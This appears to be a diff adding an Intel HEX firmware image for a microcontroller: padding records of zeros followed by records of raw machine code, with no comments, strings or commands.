+:1018E00000000000000000000000000000000000F8 +:1018F00000000000000000000000000000000000E8 +:1019000000000000000000000000000000000000D7 +:1019100000000000000000000000000000000000C7 +:1019200000000000000000000000000000000000B7 +:1019300000000000000000000000000000000000A7 +:101940000000000000000000000000000000000097 +:101950000000000000000000000000000000000087 +:101960000000000000000000000000000000000077 +:101970000000000000000000000000000000000067 +:101980000000000000000000000000000000000057 +:101990000000000000000000000000000000000047 +:1019A0000000000000000000000000000000000037 +:1019B0000000000000000000000000000000000027 +:1019C0000000000000000000000000000000000017 +:1019D0000000000000000000000000000000000007 +:1019E00000000000000000000000000000000000F7 +:1019F00000000000000000000000000000000000E7 +:101A000000000000000000000000000000000000D6 +:101A100000000000000000000000000000000000C6 +:101A200000000000000000000000000000000000B6 +:101A300000000000000000000000000000000000A6 +:101A40000000000000000000000000000000000096 +:101A50000000000000000000000000000000000086 +:101A60000000000000000000000000000000000076 +:101A70000000000000000000000000000000000066 +:101A80000000000000000000000000000000000056 +:101A90000000000000000000000000000000000046 +:101AA0000000000000000000000000000000000036 +:101AB0000000000000000000000000000000000026 +:101AC0000000000000000000000000000000000016 +:101AD0000000000000000000000000000000000006 +:101AE00000000000000000000000000000000000F6 +:101AF00000000000000000000000000000000000E6 +:101B000000000000000000000000000000000000D5 +:101B100000000000000000000000000000000000C5 +:101B200000000000000000000000000000000000B5 +:101B300000000000000000000000000000000000A5 +:101B40000000000000000000000000000000000095 +:101B50000000000000000000000000000000000085 +:101B60000000000000000000000000000000000075 +:101B70000000000000000000000000000000000065 +:101B80000000000000000000000000000000000055 +:101B90000000000000000000000000000000000045 +:101BA0000000000000000000000000000000000035 +:101BB0000000000000000000000000000000000025 +:101BC0000000000000000000000000000000000015 +:101BD0000000000000000000000000000000000005 +:101BE00000000000000000000000000000000000F5 +:101BF00000000000000000000000000000000000E5 +:101C000000000000000000000000000000000000D4 +:101C100000000000000000000000000000000000C4 +:101C200000000000000000000000000000000000B4 +:101C300000000000000000000000000000000000A4 +:101C40000000000000000000000000000000000094 +:101C50000000000000000000000000000000000084 +:101C60000000000000000000000000000000000074 +:101C70000000000000000000000000000000000064 +:101C80000000000000000000000000000000000054 +:101C90000000000000000000000000000000000044 +:101CA0000000000000000000000000000000000034 +:101CB0000000000000000000000000000000000024 +:101CC0000000000000000000000000000000000014 +:101CD0000000000000000000000000000000000004 +:101CE00000000000000000000000000000000000F4 +:101CF00000000000000000000000000000000000E4 +:101D000000000000000000000000000000000000D3 +:101D100000000000000000000000000000000000C3 +:101D200000000000000000000000000000000000B3 +:101D300000000000000000000000000000000000A3 +:101D40000000000000000000000000000000000093 +:101D50000000000000000000000000000000000083 +:101D60000000000000000000000000000000000073 +:101D70000000000000000000000000000000000063 +:101D80000000000000000000000000000000000053 +:101D90000000000000000000000000000000000043 +:101DA0000000000000000000000000000000000033 +:101DB0000000000000000000000000000000000023 +:101DC0000000000000000000000000000000000013 +:101DD0000000000000000000000000000000000003 +:101DE00000000000000000000000000000000000F3 +:101DF00000000000000000000000000000000000E3 +:101E000000000000000000000000000000000000D2 +:101E100000000000000000000000000000000000C2 +:101E200000000000000000000000000000000000B2 +:101E300000000000000000000000000000000000A2 +:101E40000000000000000000000000000000000092 +:101E50000000000000000000000000000000000082 +:101E60000000000000000000000000000000000072 +:101E70000000000000000000000000000000000062 +:101E80000000000000000000000000000000000052 +:101E90000000000000000000000000000000000042 +:101EA0000000000000000000000000000000000032 +:101EB0000000000000000000000000000000000022 +:101EC0000000000000000000000000000000000012 +:101ED0000000000000000000000000000000000002 +:101EE00000000000000000000000000000000000F2 +:101EF00000000000000000000000000000000000E2 +:101F000000000000000000000000000000000000D1 +:101F100000000000000000000000000000000000C1 +:101F200000000000000000000000000000000000B1 +:101F300000000000000000000000000000000000A1 +:101F40000000000000000000000000000000000091 +:101F50000000000000000000000000000000000081 +:101F60000000000000000000000000000000000071 +:101F70000000000000000000000000000000000061 +:101F80000000000000000000000000000000000051 +:101F90000000000000000000000000000000000041 +:101FA0000000000000000000000000000000000031 +:101FB0000000000000000000000000000000000021 +:101FC0000000000000000000000000000000000011 +:101FD0000000000000000000000000000000000001 +:101FE00000000000000000000000000000000000F1 +:101FF00000000000000000000000000000000000E1 +:04200000FECFB62435 +:10200400D401303B307CF01F0014303B308CF01F87 +:102014000012303B315CF01F0010303B316CF01F7C +:10202400000E300B322CF01F000C300B323CF01F32 +:10203400000A300B30DCF01F0008300B326CF01F4C +:102044000006300B327CF01F0004300B328CF01F82 +:102054000002D80280002F28EBCD40F8F9DCC00440 +:10206400C4704A582108FE7A300030153003E06409 +:1020740000FF18975C97EE0712002FF7EE0915047E +:102084001208702E580EC315FC061505E026CE0066 +:102094007439EA0E094EFDE90009C0918D038D24BF +:1020A4008D1B7029EA0909499519C07874797479E6 +:1020B400FDE90009CFD08D4B7009A969E029F00032 +:1020C400703EFDDEC001C040701E935EC038701EBD +:1020D400936E703EE21E0002C040701E939EC03894 +:1020E400701E93AE701E932EF8070A4CCC31E3CDCC +:1020F40080F8000080007E00F9DCC00449187009F3 +:10210400F9E910099109580C5E0C48F82108189A4D +:102114005C9AF40A12002FFAF409150412087009E3 +:10212400A969E029F000701BF34B0058701BF34BB6 +:102134000044701B931BF80A0A4CCEA15EFC0000FD +:102144000000000880007E00F9DCC0044928700902 +:10215400F80A11FFF5E900099109580C5E0C48F8DA +:102164002108189A5C9AF40A12002FFAF40915044B +:1021740012087009A969E029F000701BF34B0054A0 +:10218400701BF34B0044701B931BF80A0A4CCEA13E +:102194005EFC00000000000880007E00D4014BC8F3 +:1021A40011DC4BC91389303AF4091800C1E1F13A42 +:1021B4000008F1390009F3EA108911F8F1D8C006D2 +:1021C400F3E811082FF8F00A15134B39930AF5D8E0 +:1021D400C1A94B28B00A72099008A9992019B778A7 +:1021E40010094AF89109C4284A98F13A000AF13BC7 +:1021F4000008A78B11FEF60E002B11EEFDDEC002C7 +:10220400AB6E1C0B2FFBF1380009F1D8C002F40EA1 +:102214001607FC0800182FE8F608094820184A0B8E +:102224009708760BF1DCC004F6CCFFFFF808094CE4 +:10223400499B970C300C499BB60C309BF608180050 +:10224400E0880008496B760C2098F808094897083C +:102254005809C0C1F1DAC045F5DAC00248C9F339FA +:10226400000BA37AF5E91259C0C8489AF539000A57 +:10227400F3D9C006F538000BA798F0090018300907 +:102284002FF92FF8B1394878B009D80200000414A6 +:102294000000041200000404000004080000040C00 +:1022A4000000040A5EFCD703D401201D189BFE7CA9 +:1022B4002400F01F0009FACBFFFEFE7C2400F01F6F +:1022C4000007581CC041E06C00FFC0281BBC2FFD58 +:1022D400D80200008000326680003282D421301B94 +:1022E400FE7C2400F01F00103007E06500FF48F476 +:1022F4003FF6C0B82FF7E2570D40C071301BFE7C8B +:102304002400F01F000BD82A0A9CF01F000AA88C96 +:10231400EC0C1800CF01301BFE7C2400F01F0004DD +:10232400DA2A000080003132000004248000317E6B +:10233400800022ACD401A97C4838910CF01F000322 +:10234400D8020000000000F0800022E0D401F01F59 +:1023540000035F1CD8020000800022E0D401A97CA5 +:102364004838910CF01F0003D8020000000000F070 +:10237400800022E0EBCD40F818961697E06B00FF42 +:10238400FE7C2400F01F002B0C9BA7AB5C5BFE7C47 +:102394002400F01F0028EE0B1618FE7C2400F01F0A +:1023A4000025EE0B1610FE7C2400F01F0022F7D748 +:1023B400C110FE7C2400F01F001F0E9B5C7BFE7C82 +:1023C4002400F01F001C3008F0061800C06030889C +:1023D400F0061800C101C088E06B0095FE7C240063 +:1023E400F01F0014C0E8E06B0087FE7C2400F01F9F +:1023F4000011C078E06B00FFFE7C2400F01F000D8C +:102404003FF948D8B0893007E06400FF1093129672 +:1024140030B5C0682FF75C57EA071800C080089CE5 +:10242400F01F0006A68CEC0C1800CF50E3CD80F80A +:102434008000326600000424800022ACEBCD40C052 +:1024440018971696301BFE7C2400F01F00090C9B85 +:102454000E9CF01F00084887AE8C301BFE7C2400C5 +:10246400F01F00060F8CE3CD80C0000080003132E5 +:1024740080002378000004248000317EEBCD40FEF0 +:1024840049A811893008F0091800C1F130070E94E9 +:1024940049733016E06200FFFE71240030B5C0C8F5 +:1024A400049B029CF01F00132FF75C87EA071900B6 +:1024B400C031E3CF80FE089B089CF01F000FA68C60 +:1024C400EC0C1800CEE1C0E8300B33BCF01F000A5E +:1024D4004878B08C580CC06030094848B089E3CFC4 +:1024E40080FEE3CF90FE00000000010800000424F9 +:1024F4008000326680002440EBCD40E01897F01F46 +:102504000049E080008C301BFE7C2400F01F004654 +:102514004C6811893038F0091800C0A14C48700B80 +:10252400A99B318CF01F00434C38B08CC0884C08F8 +:10253400700B318CF01F003F4BF8B08C4BE81189C5 +:102544003008F0091800C080301BFE7C2400F01F06 +:10255400003BE3CF80E0E06B00FFFE7C2400F01F33 +:102564000038E06B00FEFE7C2400F01F0035EEC650 +:10257400FE00FE7524000F3B0A9CF01F00310C374F +:10258400CFB1E06B00FFFE7C2400F01F002DE06B58 +:1025940000FFFE7C2400F01F002AE06C00FFF01F07 +:1025A40000294A58B08CF9DCC005585CC140E06B86 +:1025B40000FFFE7C2400F01F0022E06B00FFFE7C85 +:1025C4002400F01F001F301BFE7C2400F01F001BA2 +:1025D400E3CF80E0E06B00FFFE7C2400F01F0018D6 +:1025E400E06B00FFFE7C2400F01F0015301BFE7C16 +:1025F4002400F01F001248E87009F2C9FE00910996 +:10260400300730A6C0682FF75C87EC071900C0605C +:10261400F01F0004CF90E3CF90E0E3CF80E0000010 +:10262400800022E08000313200000412000000F03B +:1026340080002378000004248000317E800032660C +:10264400800022ACEBCD40C0F01F001CC031E3CFB2 +:10265400C0C0301BFE7C2400F01F0019300B33ACCB +:10266400F01F00184988B08C580CC080301BFE7CC9 +:102674002400F01F0016E3CFC0C0E06C00FFF01F81 +:1026840000141896E06C00FFF01F001148E7AE8CB0 +:10269400E06C00FFF01F000EAE8CE06C00FFF01F3A +:1026A400000CAE8C301BFE7C2400F01F0008F9D611 +:1026B400C0C1E3CD80C00000800022E08000313240 +:1026C40080002378000004248000317E800022AC46 +:1026D400EBCD4080F01F0027C031E3CFC080301B1A +:1026E400FE7C2400F01F0024E06B01AA308CF01F54 +:1026F40000234A38B08CE21C0004C080301BFE7CEE +:102704002400F01F0020E3CF8080E06C00FFF01F66 +:10271400001E49B7AE8CE06C00FFF01F001BAE8CAE +:10272400E06C00FFF01F0018AE8CF9DCC001C08122 +:10273400301BFE7C2400F01F0013E3CFC080E06C4C +:1027440000FFF01F001148E8B08C3AA8F00C180004 +:10275400C080301BFE7C2400F01F000AE3CFC08041 +:10276400301BFE7C2400F01F0007E3CF90800000A4 +:10277400800022E0800031328000237800000424AD +:102784008000317E800022ACEBCD40F8201D1893F0 +:10279400F01F0048E080008A301BFE7C2400F01FFC +:1027A40000464C6811893038F0091800C0A14C4823 +:1027B400700BA99B311CF01F00434C38B08CC088AF +:1027C4004BF8700B311CF01F003F4BF8B08C4BE8FA +:1027D40011893008F0091800C120301BFE7C240048 +:1027E400F01F003A300CC61820175C87C0E1301B7C +:1027F400FE7C2400F01F0035300CC578E06775308E +:10280400E06500FF4B043FF60A9CF01F0031A88CE2 +:10281400EC0C1800CEA03FE8F00C1800C0E0E06B10 +:1028240000FFFE7C2400F01F002B301BFE7C2400E4 +:10283400F01F0026300CC3980697E6C5FE00E0643E +:1028440000FFFE762400FAC3FFFE089B0C9CF01FD9 +:102854000021069B0C9CF01F00209A180EC80A3712 +:10286400CF5149787009F2C9FE009109E06B00FF6D +:10287400FE7C2400F01F0017E06B00FFFE7C2400A8 +:10288400F01F0014E06B00FFFE7C2400F01F001119 +:10289400E06B00FFFE7C2400F01F000E301BFE7C6A +:1028A4002400F01F000A301C2FFDE3CD80F8000047 +:1028B400800022E08000313200000412000000F0A9 +:1028C40080002378000004248000317E800022AC44 +:1028D4008000326680003282EBCD40FC201D1892CD +:1028E400F01F0032C5F0301BFE7C2400F01F0030C6 +:1028F400300B309CF01F002F4AF8B08C580CC0816C +:102904003007E06400FF10933FE63095C178301B38 +:10291400FE7C2400F01F002930094A98B089300C4D +:10292400C418EA071800C081301BFE7C2400F01F85 +:102934000023300CC3782FF75C57089CF01F00214C +:10294400A68CEC0C1800CEE13007E06500FFFE76A3 +:102954002400FAC4FFFE0A9B0C9CF01F001B089B7A +:102964000C9CF01F001A9A18E4070B082FF759075C +:10297400CF31E06B00FFFE7C2400F01F0013E06BFE +:1029840000FFFE7C2400F01F0010E06B00FFFE7CC3 +:102994002400F01F000D301BFE7C2400F01F0007F4 +:1029A400301C2FFDE3CD80FC800022E0800031321A +:1029B40080002378000004248000317E0000010898 +:1029C400800022AC8000326680003282D431FEFB6B +:1029D400026AE6681A809718FEF80264700AFE7CA0 +:1029E4002400F01F0098301BFE7C2400F01F00968A +:1029F4003007E06600FFFE7524000C9B0A9CF01F64 +:102A040000932FF758A7CFA1301BFE7C2400F01FA2 +:102A140000903008FEF9023CB288FEF9023AB2880E +:102A2400300B169CF01F008DFEF80234B08CE06B66 +:102A340000FFFE7C2400F01F00853017FEF6022004 +:102A440030153003E06200FFFE7124003654C108E3 +:102A5400069B069CF01F0081AC8C049B029CF01F1B +:102A6400007B2FF75C87E8071900E08000E50D88FC +:102A7400EA081800CEE1F01F007B5BFCE08000DC7C +:102A8400581CC05130294F48B089C4C8300B337C1E +:102A9400F01F00724F27AE8CE06B00FFFE7C240019 +:102AA400F01F006A300B329CF01F006CAE8CE06BA0 +:102AB40000FFFE7C2400F01F00650F88E21800FE72 +:102AC400C05130194E48B089C2D830094E28B08957 +:102AD400300B169CF01F00614E18B08CE06B00FFA9 +:102AE400FE7C2400F01F005930174DD630153003FA +:102AF400E06200FFFE7124003654C108069B069C68 +:102B0400F01F0056AC8C049B029CF01F00502FF762 +:102B14005C87E8071900E080008F0D88EA08180038 +:102B2400CEE130074CC430150E9333704CC6E062CE +:102B340000FFFE7124000988EA081800C110C06370 +:102B44003029F2081800C291C198069B301CF01F6E +:102B54000043AC8C049B029CF01F003CC1E8069B24 +:102B6400009CF01F003E069B329CF01F003CAC8C86 +:102B7400049B029CF01F0035C108069B009CF01FBB +:102B84000037300BEA1B4000329CF01F0034AC8C41 +:102B9400049B029CF01F002D2FF75C87FE78C35026 +:102BA400F0071900C4800D893008F0091800CC41E1 +:102BB4004A9811893028F0091800C0A1F01F002A92 +:102BC4005BFCC390581CC04130394A38B089300B83 +:102BD40033BCF01F00224A27AE8CE06B00FFFE7C62 +:102BE4002400F01F001AE06B0200310CF01F001BE0 +:102BF400AE8CE06B00FFFE7C2400F01F00140F89F4 +:102C04003008F0091800C171498CF01F0019C13057 +:102C1400F01F0018301948F8B089488BE0681B0091 +:102C2400EA1800B797184868700AFE7C2400F01F61 +:102C34000005DA3AD83A0000000000F4000001046C +:102C4400800031A880003132800032668000317EFD +:102C54000000010800000412800024400000042445 +:102C6400800026D48000264800000414800028DC5C +:102C7400800021A0D401F01F00093018F00C1800C6 +:102C8400C020D80A486811893008F0091800C0200B +:102C9400DA0AF01F0004D802800024800000010832 +:102CA400800029D0EBCD4010FAC4FFF84888910C7D +:102CB4004888E8EA0000F0EB0000E8EA0008F0EBDE +:102CC4000008F01F0005E3CD80100000000001049F +:102CD400000000F4800029D05EFD5EFDD40149B8F7 +:102CE40011883019F2081800C170C0633029F20845 +:102CF4001800C261C20830094958B089F01F001594 +:102D04003018F00C1800C030302CD802301948F8B4 +:102D1400B089303CD802F01F000F3018F00C1800B6 +:102D2400C021D80A30294898B08930094888B08928 +:102D3400303CD80230094858B089302CD8023009C8 +:102D44004828B089303CD8020000000C000001087B +:102D540080002C78D401F01F0002D802800029D012 +:102D6400EBCD40C018961697F01F00124928118920 +:102D74003008F0091800C031F01F001048E811892C +:102D84003018F0091800C040302CE3CD80C00C9CF2 +:102D9400F01F000B0E9CF01F000BC061F01F000A17 +:102DA400302CE3CD80C0F01F0008E3CF80C00000CA +:102DB400800024800000010880002D588000233802 +:102DC400800024FC800022A8EBCD40C01897169602 +:102DD400F01F0011491811893008F0091800C0319A +:102DE400F01F000F48D811893018F0091800C040AE +:102DF400302CE3CD80C00E9CF01F000AC0A00C9CB8 +:102E0400F01F0009C060F01F00095F0CE3CD80C013 +:102E1400E3CF90C0800024800000010880002D587A +:102E2400800023608000278C80002350EBCD4080FD +:102E3400189748C811893008F0091800C031F01FEC +:102E4400000A488811893018F0091800C040302C55 +:102E5400E3CD8080485870082FF88F08E3CF808036 +:102E64000000010880002D580000040CFE681400C6 +:102E74007009F3DCD0C191095EFCD703D401E0688A +:102E84008A3FEA1801F7103CE0880006301CF01F66 +:102E94000004D802300CF01F0002D80280002E700B +:102EA400F8081605A968E028F000581BC0D0C063D4 +:102EB400582BC100583BC1405EFF3019F20C094940 +:102EC400916991A9C1283019F20C0949915991A924 +:102ED400C0C83019F20C094991699199C068301938 +:102EE400F20C0949915991993019F20C094C912C21 +:102EF4005EFDD703D42118971694580BC0313005C2 +:102F0400C0D830060C950F9B0F8CF01F0006184597 +:102F14002FE72FF60C34FE9BFFF80A9CD822000002 +:102F240080002EA4F8081605A968E028F000169978 +:102F3400E2190004C0703019F20C0949F149007417 +:102F4400C0683019F20C0949F14900781699E21960 +:102F54000080C2401699E2190180C0903019F20C29 +:102F64000949F14900A8F14900B8C1881699E21944 +:102F74000280C0903019F20C0949F14900A4F149CA +:102F840000B8C0C81699E2190380C0803019F20C49 +:102F94000949F14900A8F14900B4F3DBC001C1506B +:102FA400E21B0002C0703019F20C0949F1490054C7 +:102FB400C0683019F20C0949F14900583019F20C73 +:102FC4000949F1490044C0683019F20C0949F14932 +:102FD40000483019F20C094C911C5EFCF8081605E7 +:102FE400A968E028F0007188F00C0A4CF9DCC001F3 +:102FF4005EFCC008F60816054899F2080039F7DBAC +:10300400C0057219F20B092CF5DAC0024859F20A0C +:10301400032AFE790800F208092A5EFC80007E403B +:1030240080007D3CD4214918E3B80001490E3007E3 +:103034000E94490C49087005FE760800C1080898EA +:103044007C1B7C0AF608092C2FF8103AFE9BFFFC27 +:10305400EC0709252FF72F8E5927C0507C085808F4 +:10306400CEF1CF7BD822000080007C0080007E401F +:1030740080002FF680007D3CFE780800E069008324 +:10308400F20C010CF00C0329F2CAFFC0F00A032869 +:103094005808C0215EFDF0081200485AF4090039AE +:1030A400F008111F7219F208032C5EFC80007E40A8 +:1030B400F8081601100BF60C0D0A149CF4C8000154 +:1030C4005C8CE04800FF5E3C5E2EF739000D301842 +:1030D400F0091800E0880004302C5EFCE0680080F1 +:1030E400990878183019F1D9D001F739000DF1D9C0 +:1030F400D0813009F1D9D0E130FAF1DAD20499184B +:103104005EF9D4013018F00B18005FBEF00A180005 +:103114005FB8FDE81008C030302CD8027818F1DB15 +:10312400D021F1DAD041F1D9D3089918D80A781806 +:10313400EA18000F99187818E2180004C0F030E873 +:10314400F00B1800E08B00197818B16BEA1BFFF044 +:10315400E81BFFFF106B991B5EFD3038F00B180065 +:10316400E08B000B78182F0B3019F20B094B5CDB4A +:10317400106B991B5EFD302C5EFCE0683A98C058D9 +:103184005808C0215EFF20187849E2190200CF9048 +:103194007818EA18000F99183008EA1801009908FD +:1031A4005EFDD703EBCD40F818951697F736000C63 +:1031B4003038F0061800E08B004DF734000B30185F +:1031C400F0041800E08B0046F73300083078F00371 +:1031D4001800E088003F3108F0031800E08B003A43 +:1031E400149B6E1CF01F001DC3453008EC0916012A +:1031F400F1D9D001EC160001F1D6D021F1D4D0617F +:103204002083F1D3D084F1DCD108EF390009F1D95E +:10321400D208EF39000AF1D9D3080F89301AF4091A +:103224001800C0E0C0A3302AF4091800C0C0303A26 +:10323400F4091800C0E1C0A88BC8E3CF80F88BD88C +:10324400E3CF80F88BE8E3CF80F88BF8E3CF80F806 +:10325400302CE3CD80F80000800030B43018990899 +:103264005EFCE0683A98C0585808C0215EFF2018F8 +:103274007849E2190002CF905C7B993B5EFDE068DF +:103284003A98C0585808C0215EFF20187849E219BE +:103294000201E0490201CF717828B6085EFDFE689C +:1032A40000007009A7D991097009F9DCC007E01979 +:1032B400FF80F9E9100991097009A7B991095EFC29 +:1032C400FE680000700CF9DCC0075EFCFE680000BC +:1032D400708CF9DCC06B5EFC4828912CB06B5EFCF2 +:1032E40000000428F1DCC004A368E038FE40700C40 +:1032F400F9DCC2615EFCD703D401F9DCC0043018E8 +:10330400F00C1800E0880003D80AF8C80001A5688A +:103314004929F2080008A36CFE6A01C0F80A0009F2 +:103324007209E6190008C0517009E6194000C1404D +:103334007009300AF3DAD3C19109E03CFDE0E86991 +:103344000000990970095809C074F3DAD3E19109AE +:1033540070385D18DA0ADA0A000001B430594858A6 +:103364009109E8690000FE6801F091095EFC000023 +:10337400000001C8D401484870485808C0205D18AE +:10338400D802000000000428D401169978085808CF +:10339400C0B4300AF1DAD3E1990878385808C0404B +:1033A400782B129C5D18D802D401F1DCC0042018DB +:1033B400A568301B483C100CF01F0003D802000025 +:1033C400000001B48000338CD401F1DCC004301956 +:1033D400F2081800E0880003D80AF0091502FE6B11 +:1033E40001C0F20B000A740AE21A1000C0C02018CF +:1033F400A56848B9F20800087009301AF3DAD3C195 +:103404009109C098E039FE10E86800009308E46868 +:1034140000009308F01F0003DA0A0000000001B462 +:10342400800033ACD401FE690000727BF1DCC0047F +:10343400301AF408094A5CDA166A937AA368E03809 +:10344400FF007009A1D99109F01F0002D802000001 +:10345400800033ACEBCD40E0F1DCC0043019F2085D +:103464001800E08B0078FE690000727E3019F208C3 +:103474000949F3EE000EC6E1FDDBC002581EC6A5E5 +:10348400582EE08A0006583EC6513006C028301631 +:10349400F00E1502E03EFF007C075C7A3085F405EF +:1034A4000C4AE0650400F4050D4AA17A201AF40AD6 +:1034B4001200F9DCC0E1AB7BE21B1800F7EC108CC6 +:1034C400F40B111CF9EB104BF7E6102BE21B197CE3 +:1034D4000E9AE01AE683F7EA100A9D0AF9D9B010A9 +:1034E4005808C121FE6900007279E2190002C0C0C7 +:1034F400A1BCFE690000727AA1DA937AFE69010424 +:10350400720AA1DA930A5C7CFE6E00003016301752 +:10351400F8080849F3D9C001C150F0091502FE6545 +:103524000100F205000B7605A1B597057C7BEC083C +:10353400094A164A9D7AE039FED07209E619000458 +:10354400C0902FF85C58EE081800FE98FFE3E3CF14 +:1035540090E0E3CF80E0D703580CC11149181189DA +:103564003008F0091800C1A0E1B90000D30348E80D +:10357400119A2FFAB09AE3B90000C108489811894A +:103584003008F0091800C0A1E1B90000D30348686D +:10359400119A201AB09AE3B900004828B08C5EFC56 +:1035A400000001C400000750E1B80000D303301A42 +:1035B400FE690220930AE3B800003029FE68016026 +:1035C40091094859300893489358B2684839930888 +:1035D4005EFC000000000428000001C8303948A83F +:1035E4009109E1BB0000D303FE6A0160301995091B +:1035F400FE6801F09109308995099109E3BB000047 +:103604005EFC0000000001C8FE6800007009E019BB +:10361400FF8091097009A7B99109FE690100720B35 +:10362400308AF40A0C4AE06C0400F40C0D4AA17AC6 +:10363400201AF40A1200F40A111CA56AE21A197C71 +:10364400E01BE683164A930A720AA1BA930A7079B8 +:10365400A1A99179E1BA0000D303FE6901F0304BCE +:10366400930B302B930BE06910009169E3BA0000CF +:103674005EFCD703EBCD40C0E1B60000D303301CA1 +:10368400F01F0017FE680000F0F90800AFC9F14907 +:103694000800F0F90804E2194000CFC0FE670000FA +:1036A4006E08A9C88F08F01F000FF01F000FF01F4D +:1036B400000F308B8F6B30198F6931088F68304A57 +:1036C4008F6A8F2B8F2A8F398F28EEF80800AFA8C6 +:1036D400EF480800E3B60000E3CD80C08000355C0D +:1036E400800071B08000360C800035ACEBCD40809A +:1036F400E1B80000D303301AFE690220930AE3B84C +:1037040000004C3870085838C071F01F0042F01F98 +:103714000042E3CD80804C1890684C199207F00762 +:1037240001075C87C3B14BF9138A3009F20A180008 +:10373400C12130494B689109E1B90000D303310834 +:10374400FE6A01609508FE6A01F09508E3B900007D +:10375400E3CD80804B1992B95C784B3A948A140873 +:103764001039E08900084AD8705C580CC0305D1CE0 +:10377400C05130094AB8B089C1184AB94A88900B77 +:10378400920AF60A000AB20A3009B0094A38906768 +:10379400F1D7C0035F094A38B0894A08702A4A0839 +:1037A4009009E1BB0000D303FE6801307008E21801 +:1037B4000002C0913088F0071900F9B70B085807C8 +:1037C400C091C158E3BB0000304949189109E3CDC9 +:1037D40080805C79F40900093008EA18D000133AB3 +:1037E40010CAF5D8C008EE0A1900CFA348C890093A +:1037F400F2070007B0073018FE6901609308FE69FC +:1038040001F09308E3BB0000E3CD8080000001C811 +:1038140080003378800035AC00000428000001C625 +:10382400000001CC000001B0EBCD40C0F01F003718 +:10383400E1B60000D303FE670000EEF80800AFD83D +:10384400EF480800EEF80800300AE06B02204B0C49 +:10385400F01F0030EEF80800B9B8EF480800EEF8A1 +:103864000800B9C8EF480800EEF80800ADC8EF48F2 +:103874000800EEF80800ADA8EF480800EEF80800CC +:10388400AFB8EF480800EEF80800AFC8EF480800EA +:10389400EEF808000E99F2F80804E2184000CFC0D0 +:1038A40049D8700A3009F5DAC01FF5D9D3C1910A95 +:1038B400FE680000700AADCA910A700AE81A0C008A +:1038C400910AF0FA0800A1BAF14A0800F0FA0800D7 +:1038D400AFAAF14A0800FE780C00F0FA0144301B4C +:1038E400F5DBD001F14A014448C8B089E1B90000D0 +:1038F400D30348B811BA2FFAB0BAE3B90000E3B65B +:103904000000E3CD80C0000080006AEC80003A3003 +:1039140080002FF8000001B4000001C4000007502B +:10392400EBCD40FCFDDCC0043017EE0E1800E08B3C +:103934000074FE6700006E761C953017EE0E094782 +:103944000C67C6A0FC071502FE6401C0EE04000665 +:103954006C06E6160008C601FCC60001A5664B34D9 +:10396400E80600066C04E6144000C561E1B30000FB +:10397400D3036C045804C054E3B30000E3CF80FCC9 +:10398400F9DCC0E86C043012E9D2D3E18D04E3B36E +:103994000000E049FFFFE0880007E07900008D297E +:1039A4003009C1188D29580CC0E0FE630100EE03F4 +:1039B40000046804E9D4C0833083E6040944201475 +:1039C4001264C2C18D1A8D38A56EE03EFD009D1AA9 +:1039D400580BC0313008C068580CC0313148C02879 +:1039E4003088E8180021F1E91109E037FF006E087A +:1039F400A9B88F089D29E1B80000D3032015300928 +:103A0400EA190200F2050945FE6900009365E3B86E +:103A14000000E3CF90FCE3CF80FC8D1A8D38A56EB7 +:103A2400E03EFD009D1ACDDB000001B4D401FE6828 +:103A340000007018E2180004C0903049FE680000CD +:103A44009129F01F013CE08F0263FE6800007018AA +:103A5400E2181000E0800180FE680220310991091B +:103A640030899109FE6801307008E2180004C7E04B +:103A7400FEF804C470085808C050F01F0130F01F4D +:103A84000130FE6801307008F1D8C28B5888C090AC +:103A9400F01F012C3049FE6801609109E08F023863 +:103AA400FEF804A43009EA19D000720A910A3049D8 +:103AB400EA19D00072095CCAB01AF20A14105CCA7E +:103AC400B02A5CC9B039F01F0121C091F01F011D5B +:103AD4003049FE6801609109E08F021A3049FE689E +:103AE40001609109FEF8046011893008F00918009A +:103AF400C194FEF8045290E8F1D8C0035F09FEF8BF +:103B0400044EB0893008FEF9044AB208FEF90448AC +:103B1400B2083029FEF804209109F01F0110E08F4B +:103B240001F7FEF8042290393008F0091900C05159 +:103B3400F01F010BE08F01EC3008FEF90416B20807 +:103B4400FEF90414B2083019FEF803EC91093108A7 +:103B5400FE6901609308E1B90000D303FE6A01F035 +:103B64009508E3B90000E08F01D3FE6801307008C6 +:103B7400F1D8C001C0B0FE6801C07008F1D8C0011E +:103B8400C050F01F00F6E08F01C3FE6801307008DA +:103B9400E2180002E08000A1FEF8039C70085818A7 +:103BA400C11058285F0958485F08F3E81008C0405E +:103BB400F01F00E2C038F01F00E3F01F00E1E08FC7 +:103BC40001A7FE680130700BF7DBC28BFEF80378A7 +:103BD4009069FEF803829008F9D9C010F5D8C01096 +:103BE400F60A000A143CC0441019F7D9B010FEF9C3 +:103BF40003567229580BE08001915C781009300853 +:103C0400EA18D000113A12CAF5D8C008F60A190009 +:103C1400CFA3FEF90342920816085C88B2083089E3 +:103C2400F20B1900C0E1FEF9031E92BAF7D8C010D6 +:103C3400FEF903209289F6090009123AE089001876 +:103C4400FEF90304B268725C580CC0A05D1CC0810C +:103C5400F01F00BC3029FE6801609109C589302934 +:103C6400FE6801609109F01F00BEC519FEF902D873 +:103C74009269F0091900C211FEF802CC705C580C6C +:103C8400C081F01F00B03029FE6801609109C3F9BA +:103C94005D1CC081F01F00AB3029FE6801609109F2 +:103CA400C369FEF902AEFEF802AE900B920AF60A60 +:103CB400000AB20A3009B009FE690160302893088D +:103CC40031089308E1B90000D303FE6A01F09508B6 +:103CD400E3B90000C1C9FE6801307008E2180008A9 +:103CE400C1803089FE6801609109FE680130700866 +:103CF400F1D8C001E081010CFEF8023C700858388C +:103D0400E0810106E8690000FE6801F09109CFF83E +:103D1400FE6801307008E2180010C1D03109FE6855 +:103D240001609109FE6801307008E2180002E08128 +:103D340000EFFEF8020270085818C041F01F008816 +:103D4400CE685848E08100E4E8690000FE6801F0AC +:103D54009109CDD8FE6800007048E6180200C3003F +:103D6400FE6800007018E6180200C2A03009EA19C3 +:103D74000200FE6800009159FE68031070394F98E4 +:103D8400B189702A121A912AFE6801047008E21897 +:103D94000100C071FE6801047009A9D99109C0B875 +:103DA400E0692000FE6800009169E0691000FE6887 +:103DB40001F49109300B4EBCF01F006BCA88FE68F9 +:103DC40000007048E2182000E08000ACFE68013476 +:103DD4007008F1D8C182E08100A5E0691000FE6896 +:103DE40002249109E0692000FE68000091594DD831 +:103DF40070085808C065FE6801047009A9D99109C2 +:103E04004D887009F3D9C3C13008F0091800C7F010 +:103E14004D487009300AF3DAD3C19109FE6801F400 +:103E2400E86900009109E46900009109C708308934 +:103E3400FE6800009129301B4CACF01F004BF01FB2 